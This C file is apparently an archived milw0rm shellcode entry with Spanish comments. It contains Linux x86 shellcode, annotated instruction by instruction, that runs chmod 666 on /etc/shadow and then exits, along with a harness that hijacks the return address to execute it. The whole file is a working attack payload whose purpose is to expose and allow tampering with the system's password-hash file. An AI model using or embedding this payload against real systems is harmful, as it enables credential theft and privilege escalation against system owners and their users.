/* * s0t4ipv6@Shellcode.com.ar * * Usando execve() y un array de punteros * * #include * main() { * char *name[4]; * name[0]="/bin/chmod"; * name[1]="666"; * name[2]="/etc/shadow"; * name[3]=NULL; * execve(name[0],name,NULL); * } */ #include char shellcode[]= "\xeb\x31" // jmp 0x31 // 3-4 "\x5e" // popl %esi // 5 "\x31\xc0" // xorl %eax, %eax // 6-7 "\x88\x46\x0a" // movb %al, 0xa(%esi) // 8-10 "\x88\x46\x0e" // movb %al, 0xe(%esi) // 11-13 "\x88\x46\x1a" // movb %al, 0x1a(%esi) // 14-16 "\x89\x76\x1b" // movl %esi, 0x1b(%esi) // 17-19 "\x8d\x7e\x0b" // leal 0xb(%esi), %edi // 20-22 "\x89\x7e\x1f" // movl %edi, 0x1f(%esi) // 23-25 "\x8d\x7e\x0f" // leal 0xf(%esi), %edi // 26-28 "\x89\x7e\x23" // movl %edi, 0x23(%esi) // 29-31 "\x89\x46\x27" // movl %eax 0x27(%esi) // 32-34 "\xb0\x0b" // movb $0xb, %al // 35-36 0xb to eax (syscall execve) "\x89\xf3" // movl %esi, %ebx // 37-38 name[0] to ebx "\x8d\x4e\x1b" // leal 0x1b(%esi),%ecx // 39-41 "\x8d\x56\x27" // leal 0x27(%esi),%edx // 42-44 "\xcd\x80" // int $0x80 // 45-46 "\x31\xc0" // xorl %eax, %eax // 47-48 "\x31\xdb" // xorl %ebx, %ebx // 49-50 "\x40" // inc %eax // 51 "\xcd\x80" // int $0x80 // 52-53 "\xe8\xca\xff\xff\xff" // call -0x36 "/bin/chmod06660/etc/shadow"; main() { int *ret; ret=(int *)&ret +2; printf("Shellcode lenght=%d\n",strlen(shellcode)); (*ret) = (int)shellcode; } // milw0rm.com [2004-09-26]